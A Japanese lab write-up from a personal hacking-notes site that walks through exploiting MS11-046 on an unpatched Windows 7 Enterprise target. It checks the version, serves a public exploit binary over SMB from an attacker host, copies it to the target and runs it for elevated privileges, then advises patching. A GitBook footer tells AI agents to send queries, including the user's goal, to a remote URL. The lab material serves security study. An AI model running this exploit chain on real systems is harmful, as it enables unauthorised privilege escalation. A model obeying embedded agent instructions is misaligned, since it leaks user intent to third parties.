> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md).

# Windows 7 Enterprise - MS11-046

未パッチのWindows 7 EnterpriseラボターゲットでMS11-046のローカル権限昇格を検証する。

このメモは、古い未パッチの Windows 7 Enterprise ターゲットに関するラボケースを記録したものです。カーネルのエクスプロイトは、常に正確なバージョンとパッチの検証から始めるべきです。

## 検出

```powershell
systeminfo
```

確認されたバージョン:

```
OS VERSION: 6.1.7600 N/A Build 7600
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1979c6a9131ea418a1f14a1520dbc987885e45c6%2Fimage%20(2523).png?alt=media" alt="Windows 7 Enterprise systeminfo output"><figcaption></figcaption></figure>

## MS11-046 のエクスプロイト

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08e4dc1ebdf50a20109df1949cb98c6c170084a7%2Fimage%20(2525).png?alt=media" alt="MS11-046 exploit reference"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbea784474c9a655df3022b9bf9e1e5e9ea61d80%2Fimage%20(2524).png?alt=media" alt="MS11-046 exploit file"><figcaption></figcaption></figure>

## SMB 経由で転送

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.26\share\ms11-046.exe ms11.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-229583f2599aa654d9c0509dbe9711e650bcbd8c%2Fimage%20(2528).png?alt=media" alt="MS11-046 exploit transferred over SMB"><figcaption></figcaption></figure>

## 実行

```powershell
./ms11.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5627844c128bf42e0f4104495b50ae6c875b321c%2Fimage%20(2529).png?alt=media" alt="MS11-046 privileged execution result"><figcaption></figcaption></figure>

## 重要ポイント

* 古い Windows ビルドだけでは不十分です。インストール済みのホットフィックスを確認してください。
* Windows ラボでは SMB 転送が便利です。
* パッチ適用するか、旧式システムを廃止して対処してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
